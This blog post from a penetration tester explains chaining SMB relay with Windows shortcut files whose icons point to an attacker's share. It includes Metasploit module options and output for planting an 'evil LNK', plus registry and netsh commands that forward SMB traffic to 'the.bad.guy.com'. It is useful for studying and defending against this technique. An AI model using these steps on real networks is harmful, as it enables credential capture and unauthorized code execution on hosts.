TechJournal: MS08_068 + MS10_046 = FUN UNTIL 2018

MS08_068 + MS10_046 = FUN UNTIL 2018:

TL;DR: SMB Relay + LNK UNC icons = internal pentest pwnage

I need to touch on the highlights of two vulnerabilities before we talk about the fun stuff, but I highly encourage you to read the references at the bottom of this post and understand the vulnerabilities after you are done with my little trick, as you might find one of your own.

MS08_068: http://www.cvedetails.com/cve/CVE-2008-4037/

In 2008, Microsoft released MS08_068 which patched the "SMB Relay" attack. To boil this down, an attacker gets a victim to attempt to authenticate to an attacker controlled box. The attack delays its responses to the victim and replays the important parts of the authentication that the victim sent back at the victim. You can find out a lot more about this vulnerability here: https://community.rapid7.com/community/solutions/metasploit/blog/2008/11/11/ms08-068-metasploit-and-smb-relay

One thing to take away from that post is that the patch stops Attacker <=> Victim, but does not / cannot fix Victim <=> Attacker <=> Victim2 (use authentication from Victim to replay to Victim2)

MS10_046: http://www.cvedetails.com/cve/CVE-2010-2568/

In 2010, Microsoft released MS10_046 which patched the Stuxnet LNK vulnerability where a malicious DLL could be loaded (locally or remotely over WebDAV) using the path of the shortcut's icon reference. LNK files are Windows shortcut files that allow the icons of the files to be changed much more dynamically than any other file type (Right click a shortcut, go to Properties, and just simply click the 'Change Icon' button). I could certainly be wrong here, but I believe all Microsoft patched was the ability to use this feature to load the DLLs via a certain Control Panel object. Which leaves the ability to load shortcut (LNK) icons from wherever we wish. ;-)

The Setup:

If you are on an internal penetration test and either exploit a machine or find an open share, you can create an LNK file with an icon that points at a nonexistent share on your attacking machine's IP and use SMB_Relay to replay those credentials to a system in which we've identified by one means or another as an 'important' host to get on.

Attacker uploads malicious LNK file to network share on FILE SHARE

Victim views it on WORKSTATION that initiates an connection to ATTACKER

Attacker relays those authentication attempts to FILE SHARE, gaining code execution if 'Victim' is an admin on FILE SHARE

If not, then NetNTLM are still visible in the logs and can be attempted to crack, or just wait for more people to view the LNK file on the public share, and hope that an admin comes by at some point.

Your mileage will vary based on where you put the LNK file.

The Video:

I have created a post module to automate the process of creating and uploading the LNK file (so you don't have to have a Windows box lying around). Here it is in action:

Module options (post/windows/escalate/droplnk):

  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  ICONFILENAME  icon.png         yes       File name on LHOST's share
  LHOST         192.168.2.16     yes       Host listening for incoming SMB/WebDAV traffic
  LNKFILENAME   Words.lnk        yes       Shortcut's filename
  SESSION       1                yes       The session to run this module on.
  SHARENAME     share1           yes       Share name on LHOST

2012-02-11 07:17:19 +0000 2 1 post(droplnk) > run

[*] Creating evil LNK
[*] Done. Writing to disk - C:\DocuMe~1\Administrator\\Words.lnk
[*] Done. Wait for evil to happen..
[*] Post module execution completed

You can find the code here:

https://github.com/mubix/Not-In-Pentesting-Class/blob/master/modules/post/mubix/droplnk.rb

Going forward:

Obviously this isn't so effective remotely out of the box and there currently isn't a SMB_Relay for WebDAV (although I'm guessing that would work). However I was able to construct a crude way getting smb_relaying working using some pretty loud system changes to an exploited host:

Step 1: Disable SMB on Port 445 (it will still operate on 139 as it is a failover), this setting requires a reboot to take effect and can be done using the following command:
- reg add HKLM\System\CurrentControlSet\Services\NetBT\Parameters /v SMBDeviceEnabled /t REG_DWORD /d 0

Step 2: Port forward the traffic out to your remote attacker host over a port that is allowed out, used 80:
- netsh int portproxy v4tov4 listenport=445 connectaddress=the.bad.guy.com connectport=80

Step 3: Set up SMB_Relay listening on that port on your attacker with a route in meterpreter to send all relayed authentication through your meterpreter session into and at the targeted host.

These steps can get you noticed in almost every way, so it's not recommended, I just did it as a PoC. I mean how cool is it to remotely exploit SMB vulns ;-)

The other thing is, administrators are becoming much more rare as years move along and people use lower priv users for their daily tasks, so there are currently feature requests in to the Metasploit project to make it so when you get SMB_Relay correctly forwarding good credentials, even if they aren't admin and you cannot get code execution it would be nice to be able to go through the files that person has access to on the targeted system / file share. A final pipe dream of this post is to have a multi-threaded smb_relay that 2, 3 or even 10 servers can be targeted with the relayed authentication.

just saying'…. /me nudges the Metasploit devs…

References:

SMB_Relay References: